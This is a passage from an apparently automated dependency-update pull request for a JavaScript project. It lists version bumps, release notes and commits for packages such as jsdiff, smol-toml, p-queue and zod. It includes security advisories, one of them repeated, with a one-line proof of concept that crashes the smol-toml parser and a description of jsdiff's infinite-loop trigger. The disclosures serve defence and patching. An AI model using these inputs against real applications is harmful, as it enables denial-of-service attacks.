parsePatchwith a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when callingparsePatchon a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed).The
applyPatchmethod is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string usingparsePatch. Other methods of the library are unaffected.Finally, a second and lesser bug - a ReDOS - also exhibits when those same line break characters are present in a patch's patch header (also known as its "leading garbage"). A maliciously-crafted patch header of length n can take
parsePatchO(nΒ³) time to parse.Patches
All vulnerabilities described are fixed in v8.0.3.
Workarounds
If using a version of jsdiff earlier than v8.0.3, do not attempt to parse patches that contain any of these characters:
\r,\u2028, or\u2029.References
PR that fixed the bug: #649
CVE Notes
Note that although the advisory describes two bugs, they each enable exactly the same attack vector (that an attacker who controls input to
parsePatchcan cause a DOS). Fixing one bug without fixing the other therefore does not fix the vulnerability and does not provide any security benefit. Therefore we assume that the bugs cannot possibly constitute Independently Fixable Vulnerabilities in the sense of CVE CNA rule 4.2.11, but rather that this advisory is properly construed under the rules as describing a single Vulnerability.
π¨ jsdiff has a Denial of Service vulnerability in parsePatch and applyPatch
Impact
Attempting to parse a patch whose filename headers contain the line break characters
\r,\u2028, or\u2029can cause theparsePatchmethod to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory.Applications are therefore likely to be vulnerable to a denial-of-service attack if they call
parsePatchwith a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when callingparsePatchon a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed).The
applyPatchmethod is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string usingparsePatch. Other methods of the library are unaffected.Finally, a second and lesser bug - a ReDOS - also exhibits when those same line break characters are present in a patch's patch header (also known as its "leading garbage"). A maliciously-crafted patch header of length n can take
parsePatchO(nΒ³) time to parse.Patches
All vulnerabilities described are fixed in v8.0.3.
Workarounds
If using a version of jsdiff earlier than v8.0.3, do not attempt to parse patches that contain any of these characters:
\r,\u2028, or\u2029.References
PR that fixed the bug: #649
CVE Notes
Note that although the advisory describes two bugs, they each enable exactly the same attack vector (that an attacker who controls input to
parsePatchcan cause a DOS). Fixing one bug without fixing the other therefore does not fix the vulnerability and does not provide any security benefit. Therefore we assume that the bugs cannot possibly constitute Independently Fixable Vulnerabilities in the sense of CVE CNA rule 4.2.11, but rather that this advisory is properly construed under the rules as describing a single Vulnerability.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ emoji-regex (indirect, 10.4.0 β 10.6.0) Β· Repo
Commits
See the full diff on Github. The new version differs by 7 commits:
βοΈ eventemitter3 (indirect, 5.0.1 β 5.0.4) Β· Repo
Release Notes
5.0.4
Bug fixes
5.0.3
Bug fixes
- Fixed TypeScript type definitions (#282).
5.0.2
Bug fixes
- Fixed type definitions for ESM import (#279).
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 20 commits:
[dist] 5.0.4Revert "[ts] Fix type definitions for ESM import (#279)"Revert "[ts] Fix TypeScript type definitions (#282)"[dist] 5.0.3[ts] Fix TypeScript type definitions (#282)[dist] 5.0.2[doc] Remove reference to a script that no longer exists[pkg] Remove unused dependency[ci] Update actions/setup-node action to v6[ci] Update actions/checkout action to v5[test] Remove cross-browser testing[ci] Test only on latest LTS Node.js release[pkg] Update mocha to version 11.7.5[pkg] Update c8 to version 10.1.3[pkg] Update @rollup/plugin-commonjs to version 29.0.0[ts] Fix type definitions for ESM import (#279)[ci] Update actions/setup-node action to v4[ci] Update actions/checkout action to v4[pkg] Remove rimraf dependency[pkg] Update dev dependencies
βοΈ h3 (indirect, 1.15.3 β 1.15.11) Β· Repo Β· Changelog
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ http-cache-semantics (indirect, 4.1.1 β 4.2.0) Β· Repo
Sorry, we couldnβt find anything useful about this release.
βοΈ import-meta-resolve (indirect, 4.1.0 β 4.2.0) Β· Repo
Release Notes
4.2.0
Types
- 4598fbe Add declaration maps
Fix
resolve/pull/32
Full Changelog: 4.1.0...4.2.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 14 commits:
4.2.0Update Node in ActionsUpdate actionsRefactor `tsconfig.json`Add declaration mapsRefactor `package.json`Remove copyright yearRefactor to use `@import`sRefactor `.prettierignore`Add `ignore-scripts` to `.npmrc`Add `.tsbuildinfo` to `.gitignore`Update dev-dependenciesFix default `conditions` for `moduleResolve`Fix dates
βοΈ magic-string (indirect, 0.30.17 β 0.30.21) Β· Repo Β· Changelog
Release Notes
0.30.21
No significant changes
Β Β Β Β View changes on GitHub
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 16 commits:
chore: release v0.30.21chore: update repository urlchore: release v0.30.20chore: update depsci: setup OIDCchore: create release.ymlchore: update readme (#305)chore: release v0.30.19chore: update depsfix: this.outro need to be mapped (#300)feat: `replace(All)` support replacement for functions when the first parameter is a string (#304)chore: release v0.30.18chore: update package.json metachore: update depsfix: prevent infinite loop on empty input (#302)chore: update eslint config
βοΈ magicast (indirect, 0.3.5 β 0.5.2) Β· Repo Β· Changelog
Release Notes
0.5.2
Β Β Β π Features
Β Β Β Β View changes on GitHub
0.5.1
Β Β Β π Bug Fixes
Β Β Β Β View changes on GitHub
0.5.0
Β Β Β π¨ Breaking Changes
Β Β Β π Bug Fixes
Β Β Β Β View changes on GitHub
0.4.0
π Enhancements
β οΈ Add introspection and improve proxy behavior (#136)π‘ Chore
β οΈ Breaking Changes
β οΈ Add introspection and improve proxy behavior (#136)β€οΈ Contributors
- JoaquΓn SΓ‘nchez (@userquin)
- Anthony Fu github@antfu.me
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 24 commits:
chore: release v0.5.2chore: update depsfeat: add `magicast/core` export (#147)chore: add pkg-pr-new workflow (#142)chore(deps): update all non-major dependencies (#117)chore: release v0.5.1fix: remove necessary dts file, close #141chore: release v0.5.0chore: formatchore: fix lockschore: remove docs about CJSchore: taze configfix(exports, object): Preserve async keyword for generated functions (#138)ci: release on CI with OIDCchore: bump ci node versionchore: manually patch vendorchore: update depschore: commit vendor infeat!: move to ESM only, use tsdownchore: update depschore(release): v0.4.0feat!: add introspection and improve proxy behavior (#136)chore: formatchore(release): v0.3.5
βοΈ ofetch (indirect, 1.4.1 β 1.5.1) Β· Repo Β· Changelog
Release Notes
1.5.1
π©Ή Fixes
- Normalize
options.headers(again) afteronRequesthook (#524)β€οΈ Contributors
- Kricsleo (@kricsleo)
1.5.0
π Enhancements
- Serialize with
URLSearchParamsforapplication/x-www-form-urlencodedcontent type header (#482)- Auto detect
text/event-streamasstreamresponse type (#486)π©Ή Fixes
- Mark
FormData&URLSearchParamsas non-serializable for bun compatibility (#483)π Refactors
- Deprecate
paramsin favor ofquery(#511)π Documentation
- readme: Use
ProxyAgentin example (#465)- Fix typo (#472)
- Add
retryStatusCodesoption to auto retry example (#480)- Guide on augmenting
FetchOptions(#487)- Replace ProxyAgent with Agent in self-signed certs example (#516)
β€οΈ Contributors
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 46 commits:
chore(deps): update all non-major dependencies (#509)chore(release): v2.0.0-alpha.3build: fix exports fieldchore(release): v2.0.0-alpha.2build: add `main` fieldchore(release): v2.0.0-alpha.1chore: fix versionchore: simplify readmerefactor!: use native `JSON.parse` (#520)refactor!: inline url utils (#440)feat!: support custom `AbortSignal` with `timeout` (#508)Merge branch 'main' of github.com:unjs/ofetchbuild!: ESM-only dist (#519)chore: update playgroundrefactor!: remove dependency on node-fetch-native (#518)refactor: more strict typeschore(deps): update actions/setup-node action to v6 (#514)chore: prepare for v2 alphatest: upgrade to h3 v2chore: update cichore: update depsdocs: replace ProxyAgent with Agent in self-signed certs example (#516)docs: guide on augmenting `FetchOptions` (#487)feat: auto detect `text/event-stream` as `stream` response type (#486)feat: serialize with `URLSearchParams` for `application/x-www-form-urlencoded` content type header (#482)chore: fix test coveragerefactor: deprecate `params` in favor of `query` (#511)fix: mark `FormData` & `URLSearchParams` as non-serializable for bun compatibility (#483)chore: update docs (#501)chore: update cichore: update depschore(deps): update all non-major dependencies (#502)chore(deps): update autofix-ci/action digest to 635ffb0 (#504)docs: add `retryStatusCodes` option to auto retry example (#480)chore(deps): update all non-major dependencies (#473)docs: fix typo (#472)chore(deps): update devdependency @types/node to ^22.13.0 (#471)chore(deps): update all non-major dependencies (#469)chore: fix typos (#452)chore(deps): update codecov/codecov-action action to v5 (#458)chore: fix lint issuechore: update depschore(deps): update autofix-ci/action digest to 551dded (#467)docs(readme): use `ProxyAgent` in example (#465)chore(deps): update all non-major dependencies (#457)chore(deps): update all non-major dependencies (#455)
βοΈ p-limit (indirect, 6.2.0 β 7.3.0) Β· Repo
Release Notes
7.3.0
7.2.0
7.1.1
- Fix
limitFunctiontype ccb80b2
7.1.0
- Add
indexparameter tomap()method 2aeffd4
7.0.0
Breaking
- Require Node.js 20 78b81a5
activeCountnow increments when tasks actually start running (more intuitive) rather than when queued. This means:
activeCountreflects truly active/running promisespendingCountmore accurately represents waitingImprovements
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 19 commits:
7.3.0Add `rejectOnClear` optionAdd test for shared context provider patternDocument recursive limiter deadlocksAdd recipes documentationSupport options object in `pLimit()`Fix benchmarks7.2.0Make `.map()` method accept an iterable, not just array (#98)Use native Node.js timers instead of delay package in tests7.1.1Fix `limitFunction` type7.1.0Add `index` parameter to `map()` method7.0.0Add benchmarkRequire Node.js 20Add `.map` convenience methodImprove performance (#93)
βοΈ p-queue (indirect, 8.1.0 β 9.1.2) Β· Repo
Release Notes
9.1.2
9.1.1
- Fix
signaloption not rejecting when task is aborted while queued a64b316
- If you use a custom queue class, you will have to add a
remove()method. See the built-in class.
9.1.0
9.0.1
9.0.0
Breaking
- Require Node.js 20 b2600d5
- Remove
throwOnTimeoutoption - timeouts now always throw e48716f
- It was a mistake to not throw on timeouts and the option made it complicated to handle types.
- If you really need the old behavior back:
const result = await queue.add(fn).catch(error => { if (error instanceof TimeoutError) { return undefined; } throw error; });Improvements
- Rename
carryoverConcurrencyCountoption tocarryoverIntervalCounta6096de
- The old name still works, but will be removed in the next major version.
- Add
.onError()7c27e1d- Add
.onPendingZero()(#230) 62efb74- Add
pendingZeroevent (#230) 62efb74- Add
.runningTasksfad8ee4- Add
.isSaturatedfad8ee4- Add
.onRateLimit()701453e- Add
.onRateLimitCleared()701453e- Add
.isRateLimited701453e- Add
rateLimitevent 701453e- Add
rateLimitClearedevent 701453eFixes
- Fix stack overflow with many aborted tasks 81cbae2
- Fix interval cap race condition with high concurrency 7fea658
- Fix interval timing when queue becomes empty between task additions 7b3f53e
- Fix priority default handling for undefined values 439d512
8.1.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 42 commits:
9.1.2Export `PriorityQueue` type (#242)9.1.1Fix `signal` option not rejecting when task is aborted while queuedDocument that `clear()` leaves promises unsettled9.1.0Add `strict` option for sliding window rate limitingClarify `idle` event docs9.0.1CleanupFix: Remove abort listener when operation completes (#235)9.0.0Add `onError()` methodImprove backpressure docsFix testsAdd FAQ entry for limiting queue sizeImprove timeout docsRename `carryoverConcurrencyCount` option to `carryoverIntervalCount`Add `.runningTasks` and `.isSaturated` propertiesDocument how to test code that uses p-queue with Jest fake timersClarify `.add()` docsAdd rate-limit visibility featureRemove `throwOnTimeout` option - timeouts now always throwAdd `.onPendingZero()` method and `pendingZero` event (#230)Clarify timeout documentationAdd FAQ about streaming results back in input orderRequire Node.js 20Fix stack overflow with many aborted tasksAdd FAQ about getting results in orderAdd FAQ about removing tasksFix interval cap race condition with high concurrencyFix interval timing when queue becomes empty between task additionsFix priority default handling for undefined valuesClarify `error` event docsClarify `onIdle`/`onEmpty` promise vs event behaviorRemove unreachable checkTest edge cases for `intervalCap`Test properly counting runs from within async context8.1.1Don't count aborted jobs in `intervalCount` (#220)Fix usage example (#222)Meta tweaks
βοΈ p-timeout (indirect, 6.1.4 β 7.0.1) Β· Repo
Release Notes
7.0.1
- Fix "Illegal invocation" error with custom timers ed58372
7.0.0
Breaking
- Require Node.js 20 234f642
Fixes
- Fix stack trace truncation when promise rejects b7bb247
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 5 commits:
βοΈ sax (indirect, 1.4.1 β 1.6.0) Β· Repo
Commits
See the full diff on Github. The new version differs by 19 commits:
1.6.0feat: Add UTF-16 stream decoding and strict XML encoding validationfix pkg1.5.0Limit number/depth of attributes to parse1.4.4add engines requirementremove AUTHORS file, not updatedreplace string_decoder with global TextDecoderadd missing character in onscript event.1.4.3use trailing commas only where ES5 allowsremove travisCheck for invalid code points before passing them to String.fromCodePoint1.4.2formatci: update workflows and dev depsfix: avoid quadratic memory allocation in large CDATA blockBlueOak-1.0.0
βοΈ semver (indirect, 7.7.2 β 7.7.4) Β· Repo Β· Changelog
Release Notes
7.7.4
7.7.4 (2026-01-16)
Bug Fixes
a29faa5#835 cli: pass options to semver.valid() for loose version validation (#835) (@mldangelo)Documentation
1d28d5e#836 fix typos and update -n CLI option documentation (#836) (@mldangelo)Dependencies
Chores
44d7130#824 bump @npmcli/eslint-config from 5.1.0 to 6.0.0 (#824) (@dependabot[bot])7073576#820 reorder parameters in invalid-versions.js test (#820) (@reggi)5816d4c#829 bump @npmcli/template-oss from 4.28.0 to 4.28.1 (#829) (@dependabot[bot], @npm-cli-bot)
7.7.3
7.7.3 (2025-10-06)
Bug Fixes
e37e0ca#813 faster paths for compare (#813) (@H4ad)2471d75#811 x-range build metadata support (i529015)Chores
8f05c87#807 bump @npmcli/template-oss from 4.25.0 to 4.25.1 (#807) (@dependabot[bot], @owlstronaut)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 16 commits:
chore: release 7.7.4 (#839)deps: @npmcli/template-oss@4.29.0 (#840)fix(cli): pass options to semver.valid() for loose version validation (#835)docs: fix typos and update -n CLI option documentation (#836)chore: bump @npmcli/template-oss from 4.28.0 to 4.28.1 (#829)chore: bump @npmcli/template-oss from 4.27.1 to 4.28.0 (#827)chore: bump @npmcli/eslint-config from 5.1.0 to 6.0.0 (#824)chore: reorder parameters in invalid-versions.js test (#820)chore: bump @npmcli/template-oss from 4.26.0 to 4.27.1 (#823)chore: bump @npmcli/template-oss from 4.25.1 to 4.26.0 (#818)chore: release 7.7.3 (#812)fix: faster paths for compare (#813)fix: x-range build metadata supportchore: bump @npmcli/template-oss from 4.25.0 to 4.25.1 (#807)chore: bump @npmcli/template-oss from 4.24.4 to 4.25.0 (#797)chore: bump @npmcli/template-oss from 4.24.3 to 4.24.4 (#790)
βοΈ sharp (indirect, 0.33.5 β 0.34.5) Β· Repo
Release Notes
0.34.5
Upgrade to libvips v8.17.3 for upstream bug fixes.
Add experimental support for prebuilt Linux RISC-V 64-bit binaries.
Support building from source with npm v12+, deprecate
--build-from-sourceflag.
#4458Improve error messaging when only warnings issued.
#4465Simplify ICC processing when retaining input profiles.
#4468
0.34.4
Upgrade to libvips v8.17.2 for upstream bug fixes.
Ensure TIFF
subifdand OpenSlidelevelinput options are respected (regression in 0.34.3).Ensure
autoOrientoccurs before non-90 angle rotation.
#4425Ensure
autoOrientremoves existing metadata after shrink-on-load.
#4431TypeScript: Ensure
KernelEnumincludeslinear.
#4441
@BayanBennettEnsure
unlimitedflag is passed upstream when reading TIFF images.
#4446Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
#4451
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ shiki (indirect, 3.12.0 β 3.23.0) Β· Repo Β· Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ smol-toml (indirect, 1.4.2 β 1.6.1) Β· Repo
Security Advisories π¨
π¨ smol-toml: Denial of Service via TOML documents containing thousands of consecutive commented lines
Summary
An attacker can send a maliciously crafted TOML to cause the parser to crash, because of a stack overflow caused by thousands of consecutive commented lines.
The library uses recursion internally while parsing to skip over commented lines, which can be exploited to crash an application that is processing arbitrary TOML documents.
Proof of concept
require("smol-toml").parse('# comment\n'.repeat(8000) + 'key = "value"')Impact
Applications which parse arbitrary TOML documents may suffer availability issues if they receive malicious input. If uncaught, the crash may cause the application itself to crash. The impact is deemed minor, as the function is already likely to throw errors on invalid input. Downstream users are supposed to properly handle errors in such situations.
Due to the design of most JavaScript runtimes, the uncontrolled recursion does not lead to excessive memory usage and the execution is quickly aborted.
As a reminder, it is strongly advised when working with untrusted user input to expect errors to occur and to appropriately catch them.
Patches
Version 1.6.1 uses a different approach for parsing comments, which no longer involves recursion.
Workarounds
Wrap all invocations of
parseandstringifyin a try/catch block when dealing with untrusted user input.
Release Notes
1.6.1
This release addresses a minor security vulnerability where an attacker-controlled TOML document can exploit an unrestricted recustion and cause a stack overflow error with a document that contains thousands of sucessive commented lines. Security advisory: GHSA-v3rj-xjv7-4jmq
1.6.0
As of this version, smol-toml now supports the newly released TOML 1.1.0 specification!
Highlights
Multiline inline tables
TOML 1.1.0 now allows inline tables to have newlines, as well as trailing commas.
database = { driver = "postgresql", server = { host = "127.0.0.1", port = 3307, }, }Omitting seconds in datetime and time
TOML 1.1.0 renders the seconds component of time elements optional.
datetime-tz = 1979-05-27 07:32Z datetime = 2001-09-21 10:17 time = 13:37New string escapes
Strings now support 2 additional escape sequences:
\xHHfor code points between 0 and 255\efor the escape character (U+001B)What's Changed
- feat: toml 1.1 support by @cyyynthia in #49
Full Changelog: v1.5.2...v1.6.0
1.5.2
Hot fix for v1.5.1... π
What's Changed
- fix: properly stringify arrays of tables by @cyyynthia
Full Changelog: v1.5.1...v1.5.2
1.5.1
Smol fix that makes newlines actually consistent when stringifying objects to TOML.
What's Changed
- fix: actually consistent newlines by @cyyynthia
Full Changelog: v1.5.0...v1.5.1
1.5.0
This version improves the TOML output of the library when stringifying objects, courtesy of the folks over at Cloudflare.
Most notably, the lib no longer emits unnecessary table headers, and doesn't add an empty line between successive table headers anymore:
[look.at.me] note = "In earlier versions, there would've been [look] and [look.at] generated as well." [empty.table] [another.empty.table] [look.how.compact] this = "looks"What's Changed
New Contributors
Full Changelog: v1.4.2...v1.5.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 23 commits:
chore: version bumpchore: upgrade dependencies and actionsfix: don't use recursion in skipVoidchore: version bumpMerge pull request #49 from squirrelchat/toml-110fix: properly test \e escapefix: properly run toml-test v2docs: toml 1.1.0 in the readmechore: upgrade dependencies, actionsfeat: allow omitting seconds in datetime and time valuesfeat: support \e unicode escape in stringsfeat: support \xHH unicode escape in stringsfeat: toml 1.1 allows newline and trailing comma in inline tableschore: version bumpfix: properly stringify arrays of tableschore: version bumpfix: actually consistent newlineschore: yml -> yaml in readmechore: version bumpchore: deps upgradechore: update action versionschore: npm trusted publisherfeat: simplify nested tables (#46)
βοΈ strip-ansi (indirect, 7.1.0 β 7.2.0) Β· Repo
Release Notes
7.2.0
7.1.2
- Fix vulnerability in 7.1.1, see: chalk/chalk#656
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 7 commits:
βοΈ tinyexec (indirect, 0.3.2 β 1.1.1) Β· Repo
Release Notes
1.1.1
What's Changed
Full Changelog: 1.1.0...1.1.1
1.0.4
What's Changed
New Contributors
Full Changelog: 1.0.3...1.0.4
1.0.3
What's Changed
- chore: enable dependabot, bump actions by @43081j in #60
- chore: upgrade dependencies by @43081j in #62
- chore(deps): bump actions/checkout from 5.0.0 to 5.0.1 in the github-actions group by @dependabot[bot] in #66
- chore: add licenses to distributed code temporarily by @43081j in #69
- chore(deps): bump actions/checkout from 5.0.1 to 6.0.0 in the github-actions group by @dependabot[bot] in #70
- chore(deps): bump the github-actions group with 2 updates by @dependabot[bot] in #72
- chore: bump node in CI by @43081j in #75
- chore(deps-dev): bump the development-dependencies group across 1 directory with 8 updates by @dependabot[bot] in #74
- chore(deps-dev): bump the development-dependencies group with 3 updates by @dependabot[bot] in #77
- chore(deps): bump actions/setup-node from 6.1.0 to 6.2.0 in the github-actions group by @dependabot[bot] in #76
- chore(deps): bump actions/checkout from 6.0.1 to 6.0.2 in the github-actions group by @dependabot[bot] in #79
- chore(deps-dev): bump the development-dependencies group with 6 updates by @dependabot[bot] in #80
- chore(deps-dev): bump @types/node from 25.0.10 to 25.2.0 in the development-dependencies group by @dependabot[bot] in #81
- chore(deps-dev): bump the development-dependencies group across 1 directory with 6 updates by @dependabot[bot] in #83
- chore(deps-dev): bump the development-dependencies group with 3 updates by @dependabot[bot] in #84
- chore(deps-dev): bump @types/node from 25.3.0 to 25.3.3 in the development-dependencies group by @dependabot[bot] in #85
- fix: prefer local
node_modules/.binexecutables to globally installed ones by @iiroj in #87- chore(deps): bump actions/setup-node from 6.2.0 to 6.3.0 in the github-actions group by @dependabot[bot] in #88
- chore(deps-dev): bump the development-dependencies group with 4 updates by @dependabot[bot] in #89
New Contributors
- @dependabot[bot] made their first contribution in #66
- @iiroj made their first contribution in #87
Full Changelog: 1.0.2...1.0.3
1.0.2
What's Changed
- refactor: migrate to tsdown by @sxzz in #50
- feat: OIDC publish by @outslept in #52
- docs: clarify documentation by @outslept in #54
- chore: set engine constraint by @43081j in #56
- test: migrate to vitest by @43081j in #58
- fix: read stdout/stderr in parallel by @43081j in #59
New Contributors
Full Changelog: 1.0.1...1.0.2
1.0.1
What's Changed
New Contributors
Full Changelog: 1.0.0...1.0.1
1.0.0
What's Changed
Full Changelog: 0.3.2...1.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 40 commits:
fix: install npm twice to make publish work (#111)chore(deps-dev): bump the development-dependencies group with 2 updates (#110)fix: add current `node` executable's directory to start of `PATH` (#108)fix: use `stream.pipeline` to fix combining streams with auto-destroy disabled (#103)feat: Support `Result | ExecProcess | string` for `options.stdin` (#106)chore(deps-dev): bump the development-dependencies group across 1 directory with 6 updates (#105)feat: improve Bun runtime compatibility (#101)docs(#96): add sync API docs (#98)feat(#33): implements sync API (#96)chore(deps-dev): bump the development-dependencies group with 5 updates (#97)test: add publint (#95)fix: package.json exports (#91)chore(deps-dev): bump the development-dependencies group with 4 updates (#89)chore(deps): bump actions/setup-node in the github-actions group (#88)fix: prefer local `node_modules/.bin` executables to globally installed ones (#87)chore(deps-dev): bump @types/node in the development-dependencies group (#85)chore(deps-dev): bump the development-dependencies group with 3 updates (#84)chore(deps-dev): bump the development-dependencies group across 1 directory with 6 updates (#83)chore(deps-dev): bump @types/node in the development-dependencies group (#81)chore(deps-dev): bump the development-dependencies group with 6 updates (#80)chore(deps): bump actions/checkout in the github-actions group (#79)chore(deps): bump actions/setup-node in the github-actions group (#76)chore(deps-dev): bump the development-dependencies group with 3 updates (#77)chore(deps-dev): bump the development-dependencies group across 1 directory with 8 updates (#74)chore: bump node in CI (#75)chore(deps): bump the github-actions group with 2 updates (#72)chore(deps): bump actions/checkout in the github-actions group (#70)chore: add licenses to distributed code temporarily (#69)chore(deps): bump actions/checkout in the github-actions group (#66)chore: upgrade dependencies (#62)chore: enable dependabot, bump actions (#60)fix: read stdout/stderr in parallel (#59)test: migrate to vitest (#58)chore: set engine constraint (#56)docs: clarify documentation (#54)feat: OIDC publish (#52)Create SECURITY.mdrefactor: migrate to tsdown (#50)chore: update `exports` map in `package.json` (#48)feat: migrate to ESM-only build (#47)
βοΈ tinyglobby (indirect, 0.2.14 β 0.2.16) Β· Repo Β· Changelog
Release Notes
0.2.16
Fixed
- Upgraded
picomatchto 4.0.4, mitigating any potential exposure to CVE-2026-33671 and CVE-2026-33672Changed
- Overhauled and optimized most internals by @Torathion
- Ignore patterns are no longer compiled twice by @webpro
Consider sponsoring if you'd like to support the development of this project and the goal of reaching a lighter and faster ecosystem
0.2.15
Added
Documentation page at https://superchupu.dev/tinyglobby, which also contains a library comparison page and migration guide.
It's been a huge effort that took two months to make.
Big thanks to @outslept, @43081j and @benmccann for helping out! β€οΈ
JSDoc to all functions and options based on the online documentation page
Benchmarks with help from @43081j and @benmccann
braceExpansionoption
extgloboption
fsoption
globstaroption by @benmccann
signaloption
package.jsonexport astinyglobby/package.jsonAbility to pass readonly types by @TomerAberbach
Support for
URLs incwdoptionChanged
Rewritten path processing algorithm leading to a huge performance increase in many cases with help from @43081j and @benmccann
Deprecated using
patternsinside the options objectEnabled trusted publishing using npm's OIDC support
Fixed
- Negated bracket expressions i.e.
[!abc]- Some patterns like
+++breaking the partial matcherConsider sponsoring if you'd like to support the development of this project and the goal of reaching a lighter and faster ecosystem
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 66 commits:
release 0.2.16bump deps once moredo not import the whole `fs` modulefix root being too broadchore(deps): update all non-major dependencies (#191)chore(deps): update pnpm/action-setup action to v5 (#192)upgrade picomatch (and everything else)chore(deps): update dependency picomatch to v4.0.4 [security] (#193)enable pnpm `trustPolicy`chore(deps): update all non-major dependencies (#181)chore(deps): update dependency tinybench to v6 (#183)chore(deps): update actions/checkout action to v6 (#180)avoid compiling ignore patterns twice (#190)chore(deps): update all non-major dependencies (#175)chore(deps): update dependency glob to v13 (#177)update readme mention of `globby` to 16.0.0process patterns and misc optimizations (#179)overhaul crawler options building and handling (#174)chore(deps): update dependency glob to v11.1.0 [security] (#176)chore(deps): update actions/setup-node action to v6 (#172)chore(deps): update all non-major dependencies (#165)refactor `GlobOptions` to center option processing (#170)outsource types to separate file (#169)release 0.2.15stop using `picomatch.makeRe` on partial matcherchore(deps): update all non-major dependencies (#161)move documentation to website, add jsdocchore(deps): update dependency tinybench to v5 (#159)workaround to fix dts buildup coverage to 100%chore(deps): update dependency @types/node to ^24.3.0 (#157)add `fs` optionchore(deps): update actions/checkout action to v5 (#156)fix(deps): update all non-major dependencies (#154)add `braceExpansion` and `extglob` optionsadd support for using a `URL` as the `cwd`disable `**` special handling when `globstar` is `false`replace `lint:fix` script with `check:fix`allow passing readonly types (#153)enable oidc publishingupdate tsconfig for typescript 5.9chore(deps): update all non-major dependencies (#152)expose `package.json` to usersrestore `"lib": ["esnext"]`fix(deps): update all non-major dependencies (#144)fix negated bracket expressions (#151)use `AbortSignal.abort()` in testsrefactor `crawl` into `getCrawler`simplify formatter (#141)cleanup configsdeduplicate initial `cwd` processingofficially deprecate `patterns` inside optionsadd `signal` optionadd globstar option (#131)fix root test (#137)improve test coveragebump `@types/node` and update `tsdown` configchore(deps): update all non-major dependencies (#129)rewrite and optimize path processing algorithm (#130)add benchmarks (#122)add debug & empty string testsbump biome to `2.0.0`rework module setupremove `--experimental-transform-types` from testsfix(deps): update all non-major dependencies (#121)run ci on node 24
βοΈ ufo (indirect, 1.6.1 β 1.6.3) Β· Repo Β· Changelog
Release Notes
1.6.3
π©Ή Fixes
- withBase, withoutBase: Prevent false prefix matches (#313)
β€οΈ Contributors
- Florian Heuberger (@Flo0806)
1.6.2
π©Ή Fixes
- Fix
parsePathreturn type (#293)π Documentation
- Add more examples in jsdoc (#291)
π¦ Build
- Fix exports condition order to prefer esm with default fallback (8457581)
β€οΈ Contributors
- Daedalus (@ComfortablyCoding)
- Pooya Parsa (@pi0)
- Alex Liu (@Mini-ghost)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 14 commits:
chore(release): v1.6.3chore: update depsfix(withBase, withoutBase): prevent false prefix matches (#313)chore(deps): update all non-major dependencies (#312)chore(release): v1.6.2fix: fix `parsePath` return type (#293)build: fix exports condition order to prefer esm with default fallbackchore(deps): update actions/checkout action to v6 (#311)chore(deps): update actions/setup-node action to v6 (#306)chore: lintchore: update depschore(deps): update autofix-ci/action digest to 635ffb0 (#295)docs: add more examples in jsdoc (#291)chore(release): v1.6.1
βοΈ unist-util-visit (indirect, 5.0.0 β 5.1.0) Β· Repo
Release Notes
5.1.0
Types
- 8607d64 Refactor to use
@imports- efbed8a Add declaration maps
- 639c0e5 Fix type support for readonly arrays
by @JounQin in #40Full Changelog: 5.0.0...5.1.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 9 commits:
βοΈ unist-util-visit-parents (indirect, 6.0.1 β 6.0.2) Β· Repo
Release Notes
6.0.2
- 579ffbc Fix type support for readonly arrays
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 6 commits:
βοΈ wrap-ansi (indirect, 9.0.0 β 9.0.2) Β· Repo
Release Notes
9.0.2
- Fix vulnerability in 9.0.1, see: chalk/chalk#656
Does any of this look wrong? Please let us know.
βοΈ yoctocolors (indirect, 2.1.1 β 2.1.2) Β· Repo
Commits
See the full diff on Github. The new version differs by 5 commits:
βοΈ zod (indirect, 3.25.67 β 3.25.76) Β· Repo Β· Changelog
Release Notes
3.25.76
Commits:
3.25.75
Commits:
- c5f349b Fix z.undefined() behavior in toJSONSchema
3.25.74
Commits:
3.25.73
Commits:
3.25.72
Commits:
3.25.71
Commits:
3.25.70
Commits:
3.25.69
Commits:
3.25.68
Commits:
- d3e0f86 feat: add zod-xlsx back to the ecosystem.tsx (#4718)
- 86112d9 chore: update lint-staged from v12 to v16 (#4703)
- 218a267 chore: remove unused octokit (#4708)
- a7cb6ed fix(v4): add exact to length check issue (#4617)
- b888170 Close #4035
- 5879baf Fix fmt
- bd1bdda Fix build
- ddadfb8 Simplify basics, document reportInput
- d5e2368 Add
z.stringFormat()(#4737)- ee5615d Drop example and examples entirely
- 4080fd9 Add treeshaking discussion to docs
- cf6157a Docs
- 39947ac Use import star everywhere
- 7e296ae WIP
